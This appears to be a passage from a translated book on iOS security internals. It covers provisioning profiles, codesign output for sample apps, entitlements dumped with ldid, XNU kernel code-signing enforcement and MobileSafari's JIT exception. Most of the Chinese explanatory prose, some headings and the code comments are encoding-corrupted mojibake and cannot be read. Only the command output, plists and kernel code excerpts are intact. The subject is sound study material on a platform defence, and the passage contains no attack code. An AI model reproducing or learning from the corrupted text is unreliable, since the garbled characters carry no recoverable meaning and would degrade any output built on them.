ʼὋܷܫiOS᝹ڙ 5Ὀ-4ڎSettings὇᝹ᎵὈğGeneral὇᤯ၸὈğProfiles὇ଠᤗ஠͇Ὃ᜸ڙԺ̾ࠑ

੊஠͇ጆፑᄉ/var/MobileDevice/ProvisioningProfiles/ͮᎵ੼ҁ߶ᜈᄉଠᤗ஠͇ǌ 
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�5-4ڎ ᝹ܫʼᄉଠᤗ஠͇Ѵᛪ 

4.2.2� བԩ偠䆕ᥜᴗ᭛ӊⱘ᳝ᬜᗻ 

૾ాଠᤗ஠͇ᄉథ஌ব௦ၿԺڙdyld_shared_cache˖੼ҁᄉlibmisҮখं˖ᄉ

MISProvisioningProfileCheckValidityѥஜᰍ᝼ᄉǌܷࠑᬣՐᤆ͗᜸ҁᤇʶ᧗᜵ᄉҮখ

ंǌڙᝢԺ૾ాଠᤗ஠͇˧ґὋឞѥஜ͗ᰍ᝼ឞ஠͇ᄉݟʽζোὙ 

� ኣՏ᝼˹ॸᮋ௦ၿApple iPhone Certificate Authority὇ᔰ౦iPhone᝼˹ክူ఺ౝὈኣԦᄉ὚ 

� ኣՏ᝼˹ᄉՏሥॸᮋ௦Apple iPhone OS Provisioning Profile Signing὚ 

� ᝼˹ᄉኣՏᩖʿᑞ᫁̅3˓ᩖଋ὚ 

� ಩᝼˹ॸᮋХథྱ߿ᄉSHA1஘ѴϘ὚ 

� ଠᤗ஠͇ᄉྟఴՁʶ߿௦1὚ 

� ᝹ܫᄉUDIDʶ߿᜵ѢဗὋ੊Ꮷឞଠᤗ஠͇ॸᮋӉդProvisionsAllDevices᪃὚ 

� ឞଠᤗ஠͇ʶ߿෤థ᣾యǌ 

4.3� ⧚㾷ᑨ⫼ㅒৡ 

XcodeԺၸ౎˝धԦᏧ࠱᜵΍ၸᄉःၸኣՏǌᤇ̎ःၸԵᑞڙˀ૾ాଠᤗ஠͇Сᐎᄉ᝹ܫʼ

ᤁᛠǌݟ౦ၸcodesignࢹХಉᄹᤇಧᄉःၸὋ;͗ࡂᅻ᥊ԓځὙ 

$ codesign -dvvv test-dyld.app 

Executable=/Users/cmiller/Library/Developer/Xcode/DerivedData/ip 

hone-payload/Products/Debug-iphoneos/test-dyld.app/test-dyld 

Identifier=Accuvant.test-dyld 
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Format=bundle with Mach-O thin (armv7) 

CodeDirectory v=20100 size=287 flags=0x0(none) hashes=6+5 

location=embedded 

Hash type=sha1 size=20 

CDHash=977d68fb31cfbb255da01b401455292a5f89843c 

Signature size=4287 

Authority=iPhone Developer: Charles Miller (7URR5G4CD1) 
Authority=Apple Worldwide Developer Relations Certification 
Authority 
Authority=Apple Root CA 
Signed Time=Sep 9, 2011 3:30:50 PM 

Info.plist entries=26 

Sealed Resources rules=3 files=5 

Internal requirements count=1 size=208 

ᤇൿ̼ᆉᛪ௙ឞःၸ௦ၿ࿗በधԦᏧCharles MillerኣՏᄉǌ෤థᄰः૾ాଠᤗ஠͇ᄉiOS

᝹ܫ௦ʿᑞᤁᛠឞःၸᄉǌݟ౦ឞःၸᜁଡ̓ҁᔰ౦ᄉApp StoreὋᏪ˄ᖌ३੺эὋᔰ౦МՂࡂ

͗˝ФኣՏࣲᝧФʼ౵Θၸਖ਼ʽᣑǌᤇሗৰхʽὋ߱ࡂԺ͉̾ڙʹiOS᝹ܫʼᤁᛠ˿ὋܷࠑԺ

̾ᄹҁὙ 

$ codesign -dvvv AngryBirds.app 

Executable=/Users/cmiller/book/iphone- 

book2/AngryBirds.app/AngryBirds 

Identifier=com.clickgamer.AngryBirds 

Format=bundle with Mach-O thin (armv6) 

CodeDirectory v=20100 size=19454 flags=0x0(none) hashes=964+5 

 location=embedded 

Hash type=sha1 size=20 

CDHash=8d41c1d2f2f1edc5cd66b2ee8ba582f1d41163ac 

Signature size=3582 

Authority=Apple iPhone OS Application Signing 
Authority=Apple iPhone Certification Authority 
Authority=Apple Root CA 

Signed Time=Jul 25, 2011 6:43:55 AM 

Info.plist entries=29 

Sealed Resources rules=5 files=694 

Internal requirements count=2 size=320 

ဗڙὋឞःၸࣂፂၿApple iPhone OS Application Signing఺ౝኣՏ˿Ὃ᳭ᝢৰхʽ੝థiOS᝹

 ᦏ͗ଋԩឞኣՏǌܫ

iPhoneʼᒬࣛᄉԺ੯ᛠ஠͇Ժ̾ˀApp Storeʼᄉःၸ΍ၸᄰՎᄉኣՏழयǌʿ᣾Ὃ᤯࣡ৰх

ʽ߱͂௦ၸݟʽ੝ᇧᄉཁࠪཁ὇ad hocὈழกኣՏᄉὙ 

$ codesign -dvvv CommCenter 

Executable=/Users/cmiller/book/iphone-book2/CommCenter 

Identifier=com.apple.CommCenter 

Format=Mach-O thin (armv7) 

CodeDirectory v=20100 size=6429 flags=0x2(adhoc) hashes=313+5 

location=embedded 

Hash type=sha1 size=20 

CDHash=5ce2b6ddef23ac9fcd0dc5b873c7d97dc31ca3ba 
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Signature=adhoc 

Info.plist=not bound 

Sealed Resources=none 

Internal requirements count=1 size=332 

ឞԺ੯ᛠ஠͇௃กӬ࿗੯ᛠὋځ˝߱෤థፂ᣾ኣՏǌʿ᣾Ὃൣࠑܷݟॡঋ͗ᄹҁᄉὋᬓ˿Х

ᤇ᧖Ὃឞ̃ᤈ҃஠͇ᄉ஘Ѵ௦ᜁདेҁͮ̅ЮನڙኣՏὋᤆథФ̴ழกᝧ̼ᆉԩҁζ͉ǌ߿ྱܫ

ᄉ᭡খԩζ͉ᎀߚ˖ᄉǌݟ౦Ժ੯ᛠ஠͇ᄉ஘ѴѢဗڙ᭡খԩζ͉ᎀߚ˖Ὃ߱ ᒬҮᜁЉ᝴੯ࡂ͂

ᛠὋࡂϷ௦Хܫథ஌˄ᜁᝢԺᄉኣՏᥦಧǌ 

4.4� ⏅ܹњ㾷⡍ᴗ 

ፂ᣾ኣՏᄉःၸ˶Ժᑞդథplist஠͇Ὃឞ஠͇ૈ߿˿૾̀ឞःၸᄉʶጷྱాǌܷࠑԺ̾ѽၸ

SaurikᎃзᄉldidࢹХѴѢፋ߿ःၸᄉྱాὙ 

# ldid -e AngryBirds 

<?xml version="1.0" encoding="UTF-8"?> 

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" 

"http://www.apple.com/DTDs/PropertyList-1.0.dtd"> 

<plist version="1.0"> 

<dict> 

       <key>application-identifier</key> 

       <string>G8PVV3624J.com.clickgamer.AngryBirds</string> 

       <key>aps-environment</key> 

       <string>production</string> 

       <key>keychain-access-groups</key> 

       <array> 

             <string>G8PVV3624J.com.clickgamer.AngryBirds</string> 

       </array> 

</dict> 

</plist> 

ःၸಕខቿ˝ՉःၸଡΘ˿׬ʶᄉґ፯ǌkeychain-access὇ᨄӒ˘᝺᫇ὈᏅጷ˝ःၸଡΘ˿

γᬩஜ૵߶Кᄉ᤬फ़ǌᏪྱాѶଡΘ˿ᤇಧʶሗ఺҃Ὃ̾ڙᄰՎၸਖ਼ᢵ͊ᤁᛠࣲ˄ХథᄰՎ෡ᄣ

᜺ѶᄉৰхʽὋ߱Ժ̾ᝧ౼̎ःၸඊФ̴ःၸХథఝܲ੊ఝా࠵ᬌǌ൤ܰὋൣݟ˧ґᝦ᝶᣾ᄉὋ

ᤇ̎Ժ̾ᠱ̀ᄉྱాᦏ௦૾ాଠᤗ஠͇˖ᄉѥஜὋ੝̾ᔰ౦МՂʿ̨ᑞᬌ҃౼̎ःၸᄉҩᑞὋᏪ

˄ᑞᬌ҃ྱ߿धԦᏧᎃзᄉ੝థःၸᄉҩᑞǌ�

вᄹʶ˓ΒߔὋᏥᘼiOS SDK˖ᬃࣛᄉGNUុណ٧gdbὙ 

# ldid -e /usr/bin/gdb 

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" 

"http://www.apple.com/DTDs/PropertyList-1.0.dtd"> 

<plist version="1.0"> 
<dict> 

       <key>com.apple.springboard.debugapplications</key> 

       <true/> 

       <key>get-task-allow</key> 
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       <true/> 

       <key>task_for_pid-allow</key> 

       <true/> 

</dict> 

</plist> 

4.6ᓫڙ͗ࠑԦဗgdbథʶ̎ᮨܰᄉྱాὋᤇ̎ྱా௦gdbុណФ̴ःၸ੝ॸᭉᄉǌܷ͗ࠑܷ

˿ᝌҁԲʶᮉྱాúúҮখ̼ᆉኣՏǌ�

4.5� ҷⷕㅒৡⱘᅲᮑᮍ⊩ 
̼ᆉኣՏᄉ੯ᛠࠃᬄԦၶڙЮನᄉᘾ઱Юߚጆፑ˖ǌጆፑ͗೜ಉ࿗በᄉЮߚᮅ̾Ԣࣂፂͺ˝

ஞͳᄉᤈርὋᄹᄹ߱͂௦ՠᡐຸ̅ፂ᣾ኣՏᄉ̼ᆉǌ 

4.5.1� ᬊ䲚੠偠䆕ㅒৡֵᙃ 

ϱߚ̽֐ҪᣑԺ੯ᛠ̼ᆉௐὋЮನ͗೜ಉᤇ̼̎ᆉ௦ՠդథˀLC_CODE_SIGNATUREᜈᣑڙ

 ʶᡐᄉ̼ᆉኣՏὙڙ

$ otool -l CommCenter | grep -A 5 SIGN 

         cmd LC_CODE_SIGNATURE 

  cmdsize 16 

     dataoff 1280832 

    datasize 7424 

XNUᄉbsd/kern/mach_loader.c˖ᄉЮನ̼ᆉ͗ڙparse_machfileѥஜ˖ಉ੼ࣲᝌౡ̼ᆉ

ኣՏὙ�

parse_machfile( 

       struct vnode         *vp, 

       vm_map_t             map, 

       thread_t             thread, 

       struct mach_header   *header, 

       off_t                file_offset, 

       off_t                macho_size, 

       int                  depth, 

       int64_t              aslr_offset, 

       load_result_t        *result 

) 

{ 

... 

       case LC_CODE_SIGNATURE: 

 /* ஓധఁپ*/       

... 

       ret = load_code_signature( 

              (struct linkedit_data_command *) lcp, 

              vp, 

              file_offset, 

              macho_size, 
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              header->cputype, 

              (depth == 1) ? result : NULL); 

ኣՏᄉࠃᬄᜈᣑ᣾ርڙࠃload_code_signatureѥஜ˖੯ᛠᄉὙ�

static load_return_t 

load_code_signature( 

       struct linkedit_data_command *lcp, 

       struct vnode                 *vp, 

       off_t                        macho_offset, 

       off_t                        macho_size, 

       cpu_type_t                   cputype, 

       load_result_t                *result) 

{ 

... 

       kr = ubc_cs_blob_allocate(&addr, &blob_size); 

... 

       ubc_cs_blob_add(vp, 

                       cputype, 

                       macho_offset, 

                       addr, 

                       lcp->datasize)) 

... 

Ꮺ˄Ὃubc_cs_blob_addѥஜ͗೜ಉឞኣՏ௦ՠᜁᝢԺὙ�

int 

ubc_cs_blob_add( 

       struct vnode   *vp, 

       cpu_type_t     cputype, 

       off_t          base_offset, 

       vm_address_t   addr, 

       vm_size_t      size) 

{ 

... 

       /* 

        *ඟ֧୼ఇ੷ॠֱ޿blobڦധఁ๟ޏԥথ๴ 

        */ 

#if CONFIG_MACF 

       error = mac_vnode_check_signature(vp, blob->csb_sha1, 

                                        (void*)addr, size); 

       if (error) 

              goto out; 

#endif 

ణՐὋAMFI͗ેڙᨈѥஜvnode_check_signature˖੯ᛠࠃᬄᄉ̼ᆉኣՏ೜ಉǌࡘ6-4ڎ

ᇧ˿ឞѥஜᄉԥᎃដ̼ᆉǌ�

ᤇ̼̎ᆉ௦ԩζ͉ᄉὋ߿෤กᆷ˖ߚᤇ̎ᎀڙ౦ݟὋߚ6੝ᇧᄉ̼ᆉ͗೜ಉԩζ͉ᎀ-4ڎ

 ᇧ˿᭡খԩζ͉ࡘ7-4ڎᤇ̼̎ᆉ௦ՠХథൣᆷᄉኣՏǌ߿એᤈርὋᆷߵѢၸਖ਼ቆᫍុ͗ࡂ

ᎀߚǌ 
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�6-4ڎ amfi_vnode_check_signatureᄉԥᎃដ̼ᆉ 

 

�7-4ڎ ೜ಉ᭡খԩζ͉ᎀߚᄉ̼ᆉᄉԥᎃដ̼ᆉ 
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᭡খԩζ͉ᎀࠃߚᬄʼ௦ӉդڙЮನ˖ᄉǌܷࠑԺ̾ၸIDA Proಉᄹ߱὇᜸8-4ڎὈǌ 

 

�8-4ڎ Юನ˖ᄉ᭡খԩζ͉ᎀߚ 

ᬓ˿ԩζ͉ஜ૵௦ҮখҪᣑᄉ὇Ꮺ᭣᭡খᄉὈὋҮখԩζ͉ᎀߚᄉ೜ಉˀ൤ዜͪǌࠪ̅ᥦ̎

లڙܪᤇˏሗᎀߚ˖ᄉᮉ౎ឬὋᔩФ̼ᆉኣՏ௦థ஌ᄉὋAMFI͗ၸMach RPCល᫇ၸਖ਼ቆᫍߵએ

ᤈርamfidǌamfidథˏ˓Ժ᤯᣾Mach RPC᝺᫇ᄉߔርࣿǌڙvnode_check_signature˖ុၸᄉ

ᥦ˓ߔርࣿ௦verify_code_directoryǌឞѥஜ͗ុၸlibmis.dylib˖ᄉMISValidateSignatureὋ

ᏪMISValidateSignature͗ុၸSecurity Framework὇߶Кಳ౵Ὀ˖ᄉSecCMSVerifyᤈᛠࠃ

ᬄᄉᰍ᝼ǌ 

4.5.2� བԩ೼䖯⿟Ϟᅲᮑㅒৡ 

Չᤈርᄉ̼ᆉኣՏథ஌ব͗ᜁ᝭ेڙЮನprocፆౝᄉcsflags੆տ˖ǌΒݟὋԵ᜵Ѣဗᮅ

ᩱឧὋvm_faultѥஜ͗ࡂᜁុၸǌvm_fault_enter͗ុၸ᠆᠉೜ಉԺ੯ᛠᮅ̼ᆉኣՏᄉѥஜǌ

ซ਒ὋԵ᜵ѫᮅᜁᜈᣑҁᘾ઱Юߚጆፑ˖὇Ӊહѹ൒ᜈᣑௐὈὋ̖͗ࡂၶᮅᩱឧǌ 

᜵ಉᄹ᠆᠉ᤈᛠឞ೜ಉᄉ̼ᆉὋឯಉᄹ./osfmk/vm/vm_fault.c˖ᄉvm_faultὙ 

kern_return_t 

vm_fault( 

       vm_map_t         map, 

       vm_map_offset_t  vaddr, 

       vm_prot_t        fault_type, 

       boolean_t        change_wiring, 

       int              interruptible, 

       pmap_t           caller_pmap, 

       vm_map_offset_t  caller_pmap_addr) 
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{ 

... 

       kr = vm_fault_enter(m, 

                           pmap, 

                           vaddr, 

                           prot, 

                           fault_type, 

                           wired, 

                           change_wiring, 

                           fault_info.no_cache, 

                           fault_info.cs_bypass, 

                           &type_of_fault); 

... 

Ꮺ˄Ὃڙvm_fault_enter˖;Ժ̾ᄹҁὙ�

vm_fault_enter(vm_page_t m, 

               pmap_t pmap, 

               vm_map_offset_t vaddr, 

               vm_prot_t prot, 

               vm_prot_t fault_type, 

               boolean_t wired, 

               boolean_t change_wiring, 

               boolean_t no_cache, 

               boolean_t cs_bypass, 

               int *type_of_fault) 

{ 

... 

        /* සࡕႴᄲࣆڦǈᄓኤپஓധఁ */ 

        if (VM_FAULT_NEED_CS_VALIDATION(pmap, m)) { 

               vm_object_lock_assert_exclusive(m->object); 

 

               if (m->cs_validated) { 

                      vm_cs_revalidates++; 

               } 

               vm_page_validate_cs(m); 

         } 

... 

         if (m->cs_tainted || 

             (( !cs_enforcement_disable && !cs_bypass ) && 

             ((!m->cs_validated && (prot & VM_PROT_EXECUTE)) || 

             (page_immutable(m, prot) && 

             ((prot & VM_PROT_WRITE) || m->wpmapped))))) 

         { 

... 

                reject_page = cs_invalid_page((addr64_t) vaddr); 

... 

                if (reject_page) { 

                /* ਌ਨ๴໦࣋ڦᄻǖዕኹᄻٱဃ */ 

                       kr = KERN_CODESIGN_ERROR; 

                       cs_enter_tainted_rejected++; 

लၸᄉˏ˓߹ݟ˦߿ʽὙ�
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/* 

 ஓധఁǖپ * 

 * ሞᄻ௬݀ิ෉ٱဃ้ǈස؜ࡕ၄ᅜူ൧઄ሶႴᄲᄓኤ޿ᄻ: 

 ੣क़Ǘࢽᆩڟᄻԥᆙพ޿ .1 * 

 * 2. ช࿄݀၄޿ᄻ“ᅙ໦࣋”Ǘ 

 ၡǗܔڦஓധఁپࡗᄻຌᇀ৊ႜ޿ .3 * 

 ᄓኤईᅙঢ়ᆙพྺ੗ႀڟڥᄻช࿄޿ .4 * 

 */ 

#define VM_FAULT_NEED_CS_VALIDATION(pmap, page)     \ 

       ((pmap) != kernel_pmap /*1*/ &&              \ 

       !(page)->cs_tainted /*2*/ &&                 \ 

       (page)->object->code_signed /*3*/ &&         \ 

       (!(page)->cs_validated || (page)->wpmapped /*4*/)) 

̾ԢὙ 

#define page_immutable(m,prot) ((m)->cs_validated) 

ᤇ̼̎ᆉ੝ϡᄉኃʶ͇̂ৰ௦ᆷ߿ѫᮅ௦ՠᭉ᜵ᤈᛠ̼ᆉኣՏᰍ᝼ǌѫᮅ࠱ᜁᰍ᝼௦ՠలፂ

ᰍ᝼ǋ࠱Ԫ੆Ժзǋ࡚̼̅ᆉࣂኣՏᄉࠪ៵Ὃ̾Ԣ௦ՠൣᜁ௡࠰ҁၸਖ਼ቆᫍǌځ൤Ὃ۲ఴʼ͉ʹ

ௐϊᦏ᜵ᤈᛠ̼ᆉኣՏᰍ᝼ǌࠃᬄᄉᰍ᝼௦ڙvm_page_validate_cs˖ԦၶᄉὋឞѥஜ͗࠱੝ᤗ

ᮅ௡࠰ҁЮನቆᫍᤈᛠ೜ಉὋвុၸvm_page_validate_cs_mappedὋᏪvm_page_validate_ 

cs_mappedଋᅋ͗ࠪvnode_pager_get_object_cs_blobsᤈᛠុၸὙ�

vnode_pager_get_object_cs_blobs (…){ 

... 

       validated = cs_validate_page(blobs, 

                                   offset + object->paging_offset 

                                   (const void *)kaddr, 

                                   &tainted); 

 

       page->cs_validated = validated; 

       if (validated) { 

           page->cs_tainted = tainted; 

       } 

cs_validate_page͗ඊᣖߚϱᄉ஘Ѵ֖᝟ኪѢᄉ஘ѴὋࣲ᝭ेѫᮅ௦ՠፂ᣾ᰍ᝼֖὇੊Ὀ

ÿᛪᇧॆґ᝟ኪѢڭ૮ࣂᰍ᝼ÿᛪᇧѫᮅХథˀ˧Сᐎᄉ̼ᆉኣՏ஘ѴὋþࣂǌᤇ᧖ᄉþڭ૮ࣂ

ᄉ஘Ѵˀߚϱᄉ஘Ѵʿӛᦠǌ�

cs_validate_page( 

       void                   *_blobs, 

       memory_object_offset_t page_offset, 

       const void             *data, 

       boolean_t              *tainted) 

{ 

... 

       for (blob = blobs; 

              blob != NULL; 

              blob = blob->csb_next) { 

... 

              embedded = (const CS_SuperBlob *) blob_addr; 
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              cd = findCodeDirectory(embedded, lower_bound, upper_bound); 

              if (cd != NULL) { 

                     if (cd->pageSize != PAGE_SHIFT || 

... 

                            hash = hashes(cd, atop(offset), 

                                        lower_bound, upper_bound); 

                            if (hash != NULL) { 

                                  bcopy(hash, expected_hash, 

                                          sizeof (expected_hash)); 

                                  found_hash = TRUE; 

                             } 

 

                             break; 

... 

        if (found_hash == FALSE) { 

... 

               validated = FALSE; 

               *tainted = FALSE; 

        } else { 

... 

               if (bcmp(expected_hash, 

                        actual_hash, SHA1_RESULTLEN) != 0) { 

                      cs_validate_page_bad_hash++; 

                      *tainted = TRUE; 

               } else { 

                      *tainted = FALSE; 

               } 

               validated = TRUE; 

        } 

 

        return validated; 

ཨՐὋvm_page_validate_cs_mapped͗ಕ᝭ᮅ௦ՠᜁ᜼˝ࣂᰍ᝼֖ᮅፆౝࣂ૮ڭǌ�

ଋᅋὋڙvm_page_enterԓݼᄉ̼ᆉྞൿ˖Ὃ͗థ్͇ᆷ߿ឞᮅ௦ՠ௃஌ǌݟ౦̾ґѢဗ

̾ʽৰх˖ᄉ͉ʹʶሗὋឞᮅ࠱ࡂᜁ᜼˝௃஌Ὑ 

� ឞᮅࣂ૮ڭ὇਒։ᅋ߱෤థࣂγߚᄉ஘ѴὋ੊௦ˀࣂγߚᄉ஘ѴʿӛᦠὈ὚ 

� ̼ᆉኣՏలС᫆ὋᏪ˄ឞᮅల᤯᣾ᰍ᝼὇෤థ஘ѴὈ˄ʿԺ੯ᛠ὚ 

� ̼ᆉኣՏలС᫆ὋᏪ˄ឞᮅ௦ʿԺԪ὇థ஘ѴὈ˄Ժзᄉǌ 

߿Ժ̾ᄹѢὋԺ੯ᛠᮅᭉ᜵Хథ஘ѴὋᏪ˄᜵ӛᦠឞ஘Ѵǌஜ૵ᮅʿʶࡂ൤Ὃ̯ᤇ᧖ੇ͂ځ

᜵థ஘Ѵǌݟ౦థ஘Ѵˀஜ૵ᮅᄰСᐎὋᏪ˄ឞᮅ௦ԺзᄉὋᥦ˥ឞᮅࡂ௦௃஌ᄉ὇ܷഏឞᮅడ

ፂ௦Ժ੯ᛠᮅὈǌ 

ጻൢឞᤈ͗ࡂ౦᝹Ꮅ˿ឞಕংὋݟҁ௃஌ᮅௐὋЮನ͗೜ಉ௦ՠ᝹Ꮅ˿CS_KILLಕংὋ᥄ڙ

ርǌੇ ͂ᄹᄹଋʽ౎ᄉcs_invalid_pageѥஜὋ߱ ௦᠆᠉ᤇ̎ᛠҮᄉǌൣࡂ ᄹҁᄉὋAMFIࠑܷݟ

͗˝੝థᄉiOSᤈር᝹Ꮅឞಕংǌځ൤Ὃ͉ʹХథ௃஌ᮅᄉiOSᤈርᦏ͗ᜁጻൢǌMac OS X˶ը

ၸ˿̼ᆉኣՏ఺ࣲ҃͗ᤈᛠ೜ಉὋʿ᣾߱ల᝹ᎵCS_KILLಕংὋځ൤ʿ͗ु҃ጻൢդ௃஌ᮅᄉ 

ᤈርὙ 

int 
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cs_invalid_page( 

     addr64_t vaddr) 

{ 

... 

     if (p->p_csflags & CS_KILL) { 

              p->p_csflags |= CS_KILLED; 

              proc_unlock(p); 

              printf("CODE SIGNING: cs_invalid_page(0x%llx): " 

                     "p=%d[%s] honoring CS_KILL, final status 0x%x\n", 

                     vaddr, p->p_pid, p->p_comm, p->p_csflags); 

              cs_procs_killed++; 

              psignal(p, SIGKILL); 

              proc_lock(p); 

     } 

... 

4.5.3� iOSབԩ⹂ֱᏆㅒৡ义ϡথ⫳ᬍব�

౦౼˓ࣰԻ᜵੯ᛠ̼ᆉኣՏὋ̨ݟ ᆉᜈᣑௐ੯ᛠ௦ʿܴᄉǌ̼̼ڙ ᆉኣՏ఺҃ॸᮋ૆፝ڠ੯

ᛠὋᤇಧ੥ᑞ᫸ൢࣂኣՏᄉ̼ᆉᜁዃஇὋ᫸ൢள̼ᆉᜁซЙᤈርὋࣲ᫸ൢʶ̎Ф̴ᄉᆠڭǌiOS

᤯᣾ʿЉ᝴ѢဗԺ੯ᛠ֖ԺзЙᮅ໗ᡛ˿ᤇʶᭉයǌᤇಧࡂԺ̾᫸ൢ̼ᆉᄉνஇ֖ள̼ᆉᄉҮখ

Ѹत὇ʿ᣾ʽʶᓫ˖᜵ᝮҁᄉԀௐᎃដ௦˓ΒܰὈǌឰݟ൤ዜᄉᮔ᫸ଏஶ௦ԺᑞࠃဗᄉὋځ˝Ю

ನ˖Ժ̾Ѹत੊νஇЮߚӜ۪ాᬌᄉ੝థͮᎵᦏХథ̼ᆉǌΒݟὋڙѫᦠᘾ઱ڦڠ௡࠰ᔴډௐ᜵

ၸҁᄉvm_map_enter˖Ὃੇ͂Ժ̾ᄹҁὙ 

#if CONFIG_EMBEDDED 

       if (cur_protection & VM_PROT_WRITE){ 

              if ((cur_protection & VM_PROT_EXECUTE) && !(flags & 

VM_FLAGS_MAP_JIT)){ 

                     printf("EMBEDDED: %s curprot cannot be 

                            write+execute. turning off execute\n", 

                          __PRETTY_FUNCTION__); 

                     cur_protection &= ~VM_PROT_EXECUTE; 

              } 

       } 

#endif /* CONFIG_EMBEDDED */ 

ᤇឬ௙Ὃݟ౦᜵යᮅ௦ԺзǋԺ੯ᛠᏪ˄ʿᑞᤈᛠԀௐᎃដᄉὋੇ͂ࡂʿ᜵ᝧ߱੆˝Ժ੯ᛠ

ᮅǌ൤ܰὋڙၸ̅νஇڦڠӜ۪ాᬌᄉvm_map_protect˖Ὃੇ͂۲ఴʼ˶͗ᄹҁᄰՎᄉৰхὙ�

#if CONFIG_EMBEDDED 

       if (new_prot & VM_PROT_WRITE) { 

              if ((new_prot & VM_PROT_EXECUTE) && 

                  !(current->used_for_jit)) { 

              printf("EMBEDDED: %s can't have both write 

                     and exec at the same time\n", 

                   __FUNCTION__); 

              new_prot &= ~VM_PROT_EXECUTE; 

              } 

         } 
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#endif 

Ӝ۪Ὃʿᝧ߱͂੆˝Ժ੯ᛠ֖ԺзᄉὋᏪᤈᛠԀ΍ᎃដߚᤇˏሗৰх˖ὋЮನᦏ͗ᬌ҃Юڙ

ᄉৰхᬓܰǌʿѢ੝஧Ὃʼ᭦ˏቪ̼ᆉྞൿڙᡔ࿜᣾ር˖ᦏ͗ᜁ੩ʼᛩʷǌኃ10ብ͗࠱ఝ˝សጹ

� ᝦ᝶ᡔ࿜ǌڠ

4.6� ᥶㋶ࡼᗕҷⷕㅒৡ 
̯iOS 2.0लЙ̼ᆉኣՏᡐὋᄯҁiOS 4.3Ὃੇ͂ࣂፂК᭦̭ፀ˿̼ᆉኣՏ఺҃ǌ੝థᄉ̼ᆉᦏ

ᭉ᜵ፂ᣾ኣՏὋలኣՏᄉЮߚᦏ௦ʿԺ̾੯ᛠᄉǌʿ᣾Ὃᤇሗːಪᄉ̼ᆉኣՏን႔ࠪࡂԀௐᎃដ

὇JITὈᤇಧᄉ੾శѻ˿൪ѱὋᏪԀௐᎃដԺ̾ᝧߙᓫᆉᝌ᧕٧ᤁᛠ३ఝঋǌځ˝ॡܲJavaScript

ᝌ᧕٧ѽၸ˿ԀௐᎃដὋ੝̾ᔰ౦МՂڙᝧMobileSafariᑞᤁᛠ३ఝঋ֖߸Кଌ҃੝థԺ੯ᛠ̼

ᆉ˧ᫍᤤસ˿ґᏧǌڙiOS 4.3˖Ὃᔰ౦МՂलЙ˿Үখ̼ᆉኣՏᄉഏএὋ̾Љ᝴΍ၸԀௐᎃដǌ 

˝˿ᤁᛠ३ఝঋὋߙᓫᆉᝌ᧕٧͗΍ၸԀௐᎃដᆷߙ߿ᓫᆉណڎᤁᛠ̣˥఺٧ᆉὋઁ ᤇ̎఺

٧ᆉзЙᎀуӜὋ࠱Фಕ᝭˝Ժ੯ᛠὋཨՐၸ٧ူܪ੯ᛠᤇ̎఺٧ᆉǌࠪ௄థᄉiOS̼ᆉኣՏ఺

҃ᏪᝒὋᤇ௦ʿԺᑞࠃဗᄉǌ˝˿Љ᝴΍ၸԀௐᎃដὋՎௐγ႐ԓథ̼ᆉኣՏഴयᄉܷᦉѫ߶К

বὋᔰ౦МՂᤤસ˿ઈ˖ழ಴ǌ߱ԵЉ᝴ྱ߿ᤈር὇ΒݟMobileSafariὈѸतԺз˄Ժ੯ᛠᄉЮ

ᤇಧᄉӜ۪ǌ͉ʹѸतᮨܰᄉԺз˄Ժڰͺǌ൤ܰὋឞᤈርԵᑞѸतʶࢹӜ۪౎੯ᛠԀௐᎃដߚ

੯ᛠӜ۪ᄉ࠼ណᦏ௦ᛠʿ᤯ᄉǌ 

4.6.1� MobileSafariⱘ⡍⅞ᗻ 

 Ժ̾ѽၸ˧ґ̭ፀ᣾ᄉldidಉᄹMobileSafariᜁ૾̀ᄉྱ൳ྱాúúҮখ̼ᆉኣՏὙࠑܷ

# ldid -e /Applications/MobileSafari.app/MobileSafari 

<?xml version="1.0" encoding="UTF-8"?> 

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" 

"http://www.apple.com/DTDs/PropertyList-1.0.dtd"> 

<plist version="1.0"> 

<dict> 

       <key>com.apple.coreaudio.allow-amr-decode</key> 

       <true/> 

       <key>com.apple.coremedia.allow-protected-content-playback</key> 

       <true/> 

       <key>com.apple.managedconfiguration.profiled-access</key> 

       <true/> 

       <key>com.apple.springboard.opensensitiveurl</key> 

       <true/> 

       <key>dynamic-codesigning</key> 
       <true/> 
       <key>keychain-access-groups</key> 

       <array> 

               <string>com.apple.cfnetwork</string> 

               <string>com.apple.identities</string> 

               <string>com.apple.mobilesafari</string> 

       </array> 
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       <key>platform-application</key> 

       <true/> 

       <key>seatbelt-profiles</key> 

       <array> 

               <string>MobileSafari</string> 

       </array> 

</dict> 

</plist> 

ԵథХܫ൤ྱాᄉԺ੯ᛠ஠͇੥Ժ̾Ѹतᤇ̎ྱ൳Ӝ۪ὋᏪ˄ԵథMobileSafari੥Хܫ൤ྱ

ాǌ 

ᄹᄹWebKitᄉຸ̼ᆉ;ࡂᑞԦဗԀௐᎃដቆᫍᄉѫᦠǌ˶ࡂ௦ឬὋڙJavaScriptCore˖Ὃੇ

 ExecutableAllocatorFixedVMPool.cpp஠͇᧖Ժ̾ᄹҁᤇሗѫᦠǌڙ͂

#define MMAP_FLAGS (MAP_PRIVATE | MAP_ANON | MAP_JIT) 

 

// ૧ᆩසူݛ๕ǈࠓሰᄲݴದںڦڟ኷ǖ 

// 17࿋0ڦǈାሞᆩࢽ੣क़ዐ 

// 26࿋ໜऐҾಇǈܔᆌASLR 

// 21࿋0ڦǈԍኤ዁ณሞݴᄻ՗ᅃपԍܔ׼ഋ 

// 

// փࡗƽĊĊፕྺኍܔగၵ֭ॲ࿚༶Ǆrdar://problem/6812854ǅڦଣ้Վཚݛӄǈ 

// ణമுᆶ๑ᆩ2^26࿋ڦASLRǈܸ๟๑ᆩ25࿋ڦໜऐຕጴेฉ2^24ǈ 

// ኄᄣᆌࣷ޿஌ሞᆩࢽ੣क़ዐǄں኷ྷݔ๟0x2000000000000ڟx5fffffffffffǅ 

intptr_t randomLocation = 0; 

#if VM_POOL_ASLR 

randomLocation = arc4random() & ((1 << 25) - 1); 

       randomLocation += (1 << 24); 

       randomLocation <<= 21; 

#endif 

m_base = mmap(reinterpret_cast<void*>(randomLocation), 

m_totalHeapSize, INITIAL_PROTECTION_FLAGS, MMAP_FLAGS, 

VM_TAG_FOR_EXECUTABLEALLOCATOR_MEMORY, 0); 

